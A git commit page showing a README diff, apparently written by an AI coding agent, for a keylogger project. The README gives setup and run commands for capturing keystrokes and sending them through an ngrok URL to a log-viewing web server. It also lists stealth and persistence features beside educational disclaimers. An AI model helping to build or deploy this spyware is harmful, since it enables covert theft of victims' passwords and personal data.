0x5t4l1n/Keylogger
1
0
Fork 0
mirror of https://github.com/0x5t4l1n/Keylogger.git synced 2026-05-26 19:36:31 +00:00
Code Issues Packages Projects Releases Wiki Activity

Restructure project with organized directories and improved configuration

Browse Source 
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
2026-01-22 04:19:59 +00:00
parent a50f6fc38e
commit b0246b4e6f
17 changed files with 1354 additions and 95 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+193 -95
View File
@@ -2,64 +2,148 @@
[![Contributors](https://img.shields.io/github/contributors/Stalin-143/Keylogger?style=for-the-badge)](https://github.com/Stalin-143/Keylogger/graphs/contributors)
![WhatsApp Image 2024-11-29 at 11 35 30 PM](https://github.com/user-attachments/assets/689d466c-26d5-4830-8dba-48693ea04d01)
![WhatsApp Image 2024-11-29 at 11 35 30 PM](https://github.com/user-attachments/assets/689d466c-26d5-4830-8dba-48693ea04d01)
## Introduction
Welcome to the **Keylogger Project**! This project demonstrates how a keylogger operates. Keyloggers are tools that can record keystrokes made on a computer or device, capturing everything from passwords to personal messages. While they can be used for legitimate purposes, they are also often used by malicious actors for cybercrime.
⚠️ **IMPORTANT**: This project is for **educational purposes only**. Unauthorized use of keyloggers is illegal and punishable by law.
### How to Use
1. Clone or download the repository.
2. Install the required dependencies.
3. Run the `key_logger.py` script to capture keystrokes.
4. Start the `web_server.py` to view and download the logs from the web interface.
### Requirements
- Python 3.x
- Flask (`pip install flask`)
- Requests (`pip install requests`)
### Usage Instructions
1. Set up the keylogger script:
- Run `key_logger.py` to start capturing keystrokes.
2. Start the Flask web server:
- Run `web_server.py` to launch the web interface for viewing and downloading logs.
## 📂 Project Structure
```
/keylogger-project
├── /assets
├── /logs
├── /scripts
│ ├── key_logger.py
│ └── web_server.py
├── /templates
│ └── index.html
├── /config
│ └── config.json
├── README.md
├── LICENSE
└── requirements.txt
├── /src # Source code
│ ├── keylogger.py # Main keylogger script
│ └── server.py # Web server for viewing logs
├── /config # Configuration files
│ ├── config.json.example # Configuration template
│ └── .env.example # Environment variables template
├── /logs # Log files directory (created automatically)
├── /docs # Documentation
│ └── manual.sh # Educational information script
├── /github # GitHub workflows and configs
├── setup.sh # Setup script
├── requirements.txt # Python dependencies
├── README.md # This file
├── LICENSE # License information
├── SECURITY.md # Security policy
├── DISCLAIMER.md # Legal disclaimer
└── CONTRIBUTORS.md # Contributors list
```
## What is a Keylogger?
## 🚀 Quick Start
### Prerequisites
- Python 3.7 or higher
- pip (Python package manager)
- ngrok (for exposing the web server, optional)
### Installation
1. **Clone the repository**
```bash
git clone https://github.com/Stalin-143/Keylogger.git
cd Keylogger
```
2. **Run the setup script**
```bash
./setup.sh
```
This will:
- Check for Python installation
- Optionally create a virtual environment
- Install required dependencies
- Set up configuration files
3. **Configure the application**
Edit `config/config.json`:
```json
{
"keylogger": {
"log_file_path": "logs/keylog.txt",
"batch_size": 10,
"server_url": "https://your-ngrok-url.ngrok-free.app"
},
"web_server": {
"log_file_path": "logs/keylog.txt",
"host": "0.0.0.0",
"port": 5000,
"debug": false
}
}
```
4. **Set up authentication**
Edit `config/.env`:
```bash
WEB_SERVER_USERNAME=admin
WEB_SERVER_PASSWORD=your_secure_password_here
FLASK_DEBUG=False
```
### Usage
#### 1. Start the Web Server
```bash
# Using default configuration
python3 src/server.py
# Using custom configuration
python3 src/server.py --config config/config.json --port 8080
# Load environment variables
source config/.env # or use 'export' for each variable
python3 src/server.py
```
The web server will start and be accessible at `http://localhost:5000` (or your configured port).
#### 2. (Optional) Expose Server with ngrok
If you want to access the server remotely:
```bash
# Install ngrok from https://ngrok.com/download
ngrok http 5000
```
Copy the ngrok URL (e.g., `https://xxxx-xxxx.ngrok-free.app`) and update it in `config/config.json`.
#### 3. Run the Keylogger
```bash
# Using default configuration
python3 src/keylogger.py
# Using custom configuration
python3 src/keylogger.py --config config/config.json
# With command-line overrides
python3 src/keylogger.py --server-url https://your-ngrok-url.ngrok-free.app --log-file logs/custom.txt
```
Press **ESC** to stop the keylogger.
#### 4. View Logs
Open your browser and navigate to:
- Local: `http://localhost:5000`
- Remote: `https://your-ngrok-url.ngrok-free.app`
Login with your configured credentials and view/download the logs.
## 📖 What is a Keylogger?
A **Keylogger** is a software or hardware tool designed to record every keystroke made by a user on a computer or device. It can capture sensitive information such as:
- **Usernames**
- **Passwords**
- **Credit card information**
@@ -67,79 +151,92 @@ A **Keylogger** is a software or hardware tool designed to record every keystrok
Keyloggers are typically used by attackers to steal personal data or spy on users without their knowledge.
## Types of Keyloggers
## 🔍 Types of Keyloggers
There are two main types of keyloggers:
1. **Software Keyloggers**: These run in the background on a computer, recording keystrokes and often sending the data to an attacker remotely.
2. **Hardware Keyloggers**: These are physical devices that are plugged into a computer between the keyboard and the computer. They can capture keystrokes without needing software.
## Why Hackers Use Keyloggers
## 🎯 Why Hackers Use Keyloggers
Hackers use keyloggers for several reasons:
1. **Stealing Personal Information**: Keyloggers can capture sensitive information such as usernames, passwords, and bank details.
2. **Credential Harvesting**: Attackers can use keyloggers to gather login credentials for unauthorized access.
3. **Spyware**: Keyloggers allow hackers to secretly monitor a user's activity without their consent.
4. **Social Engineering**: Keyloggers help attackers gather information to manipulate targets.
5. **Advanced Persistent Threats (APTs)**: Keyloggers are used as part of long-term cyberattacks to monitor and steal sensitive data.
## Keylogger Functionality
Keyloggers work by capturing every keystroke typed on a computer. The data is usually saved to a log file or sent to a remote server. Some keyloggers are highly sophisticated, using encryption and stealth techniques to avoid detection by antivirus programs.
## ⚙️ Keylogger Features
### Keylogger Features:
- **Stealth Mode**: Runs silently in the background without alerting the user.
- **Data Storage**: Logs keystrokes in a local file or sends them remotely to an attacker.
- **Persistence**: Some keyloggers are designed to persist even after a system restart.
- **Key Masking**: They can disguise their presence by masking or renaming files.
- **Configuration Management**: Use JSON config files and environment variables
- **Command-line Interface**: Flexible CLI with argument parsing
- **Batch Processing**: Send logs in batches to reduce network overhead
- **Error Handling**: Robust error handling and logging
- **Web Interface**: View and download logs through a secure web interface
- **Basic Authentication**: Password-protected web interface
## ⚖️ Legal Implications of Keyloggers
## Legal Implications of Keyloggers
Using keyloggers for malicious purposes is **illegal** in most countries. Keyloggers are often used in **cybercrime** and **identity theft**. Here are some of the key laws regarding keyloggers:
- **Computer Fraud and Abuse Act (CFAA)** in the U.S. makes unauthorized access to computer systems illegal.
- **Wiretap Act** criminalizes intercepting communications without consent.
- **General Data Protection Regulation (GDPR)** in Europe requires explicit consent to collect personal data.
- **Cybersecurity Laws** in many countries make hacking, data theft, and unauthorized surveillance punishable by law.
### Consequences of Using Keyloggers Illegally:
- **Imprisonment**: In many jurisdictions, unauthorized use of keyloggers can result in severe criminal charges.
- **Fines**: Convicted individuals may face hefty fines, especially if the data stolen is used for financial gain.
- **Reputational Damage**: Being caught using a keylogger illegally can lead to significant harm to one's reputation.
## Ethical Considerations
## 🛡️ Ethical Considerations
While keyloggers are often associated with malicious hacking, they can have legitimate uses:
1. **Parental Control**: Parents use keyloggers to monitor their children's online activities.
2. **Employee Monitoring**: Employers may monitor their employees to ensure compliance with company policies.
3. **Security Testing**: Ethical hackers use keyloggers as part of penetration testing to identify vulnerabilities.
It is essential that **explicit consent** is obtained before using keyloggers for any purpose. Always ensure compliance with local laws and ethical guidelines.
## Keylogger in Cybersecurity
## 🔐 Keylogger in Cybersecurity
In the realm of **ethical hacking** and **penetration testing**, keyloggers are used to test the security of a system. Ethical hackers might deploy keyloggers as part of a broader security assessment. The goal is to discover vulnerabilities in a system and ensure sensitive data is protected.
### Ethical Use Cases:
- **Penetration Testing**: Keyloggers help identify security weaknesses and prevent future breaches.
- **System Auditing**: Businesses can use keyloggers to monitor user behavior and detect malicious activities.
## Privacy and Security Risks
## 🔒 Privacy and Security Risks
Keyloggers pose significant risks to privacy and security:
- **Privacy Violations**: Keyloggers record everything typed, exposing personal data to unauthorized parties.
- **Identity Theft**: If hackers steal login credentials or other personal information, it can lead to identity theft or financial fraud.
- **Cyberattacks**: Keyloggers can be used as part of larger **phishing** or **malware** attacks.
## Conclusion
While keyloggers have legitimate uses in cybersecurity, they are often abused for malicious purposes, violating privacy and causing significant harm. Always ensure you have the proper authorization and legal basis before using any keylogger. Misuse of keyloggers can result in serious legal consequences.
## 🛠️ Development
### **Legal Disclaimer**
This project is intended for **educational purposes** only. Unauthorized use of keyloggers for malicious activities is illegal and punishable by law. Always obtain explicit consent before deploying monitoring tools and ensure compliance with local and international laws.
### Requirements
## How to Use This Keylogger Project
1. Clone or download the repository.
2. Install the required dependencies.
3. Set up the web server and keylogger script.
4. Customize the configuration for your use case (location of log file, ngrok URL, etc.).
5. **Run the keylogger** responsibly and ensure it is used **ethically**.
- Python 3.7+
- Flask 2.2.5
- pynput 1.7.6
- requests 2.32.4
## Resources
- GitHub Repository: [Resource](https://github.com/Stalin-143)
- Related Articles on Ethical Hacking and Cybersecurity
### Project Structure
## Contributions
The project follows a modular structure:
- `/src` - Contains the main application code
- `/config` - Configuration files and templates
- `/logs` - Log files (auto-created, git-ignored)
- `/docs` - Documentation and educational materials
### Contributing
Contributions are welcome! Please make sure to follow ethical guidelines and legal standards when contributing to this project.
@@ -149,31 +246,32 @@ See our [Contributors Hall of Fame](CONTRIBUTORS.md) to view all the amazing peo
This project is licensed under the [License](LICENSE)
## ⚠️ Legal Disclaimer
This project is intended for **educational purposes** only. Unauthorized use of keyloggers for malicious activities is illegal and punishable by law. Always obtain explicit consent before deploying monitoring tools and ensure compliance with local and international laws.
**Disclaimer**: This project is intended for educational purposes only. Unauthorized use of keyloggers is illegal.
## 🆘 Support
If you encounter any issues or have questions:
1. Check the [SECURITY.md](SECURITY.md) for security-related concerns
2. Read the [DISCLAIMER.md](DISCLAIMER.md) for legal information
3. Open an issue on GitHub
## 📚 Resources
- GitHub Repository: [Stalin-143](https://github.com/Stalin-143)
- Educational Script: Run `./docs/manual.sh` for detailed information
- Related Articles on Ethical Hacking and Cybersecurity
## 💰 Support the Project
You can help by donating:
[![BuyMeACoffee](https://img.shields.io/badge/Buy%20Me%20a%20Coffee-ffdd00?style=for-the-badge&logo=buy-me-a-coffee&logoColor=black)](https://buymeacoffee.com/stalin143) [![PayPal](https://img.shields.io/badge/PayPal-00457C?style=for-the-badge&logo=paypal&logoColor=white)](https://paypal.me/stalinS143)
---
### 💰 You can help me by Donating
[![BuyMeACoffee](https://img.shields.io/badge/Buy%20Me%20a%20Coffee-ffdd00?style=for-the-badge&logo=buy-me-a-coffee&logoColor=black)](https://buymeacoffee.com/stalin143) [![PayPal](https://img.shields.io/badge/PayPal-00457C?style=for-the-badge&logo=paypal&logoColor=white)](https://paypal.me/stalinS143)
**Remember**: Always use this tool responsibly and ethically. Obtain proper authorization before using any monitoring software.